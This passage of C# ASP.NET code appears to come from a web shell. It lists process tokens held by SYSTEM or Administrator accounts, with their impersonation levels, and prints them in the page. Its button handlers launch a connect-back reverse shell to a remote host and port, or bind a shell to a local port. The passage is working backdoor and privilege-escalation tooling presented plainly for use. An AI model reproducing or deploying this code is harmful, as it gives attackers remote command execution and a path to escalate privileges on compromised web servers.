case SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation:
astring = "Impersonation - Impersonation";
break;
case SECURITY_IMPERSONATION_LEVEL.SecurityDelegation:
astring = "Impersonation - Delegation";
break;
}
break;
}
// Get user name
TOKEN_USER tokUser;
string username;
const int bufLength = 256;
IntPtr tu = Marshal.AllocHGlobal(bufLength);
cb = bufLength;
GetTokenInformation(duptoken, TOKEN_INFORMATION_CLASS.TokenUser, tu, cb, ref cb);
tokUser = (TOKEN_USER)Marshal.PtrToStructure(tu, typeof(TOKEN_USER));
username = DumpAccountSid(tokUser.User.Sid);
Marshal.FreeHGlobal(tu);
if (username.ToString() == "NT AUTHORITY\\\\SYSTEM")
Response.Output.Write("[{0:0000}] - {2} : {3}</a><br>", pid,x, username, astring);
else if (username.EndsWith("Administrator"))
Response.Output.Write("[{0:0000}] - {2} : {3}</a><br>", pid,x, username, astring);
//else
//Response.Output.Write("[{0:0000}] - {2} : {3}</a><br>", pid, x, username, astring);
}
CloseHandle(duptoken);
}
else
{
//Response.Output.Write("Handle: {0} Error: {1}<br>", x,GetLastError());
}
}
CloseHandle(hProc);
}
else
{
//Response.Output.Write("Failed to open process PID: {0}<br>", pid);
}
}
}
protected void Page_Load(object sender, EventArgs e)
{
}
protected void butConnectBack_Click(object sender, EventArgs e)
{
String host = txtRemoteHost.Text;
int port = Convert.ToInt32(txtRemotePort.Text);
CallbackShell(host, port);
}
protected void butBindPort_Click(object sender, EventArgs e)
{
int port = Convert.ToInt32(txtBindPort.Text);
BindPortShell(port);
}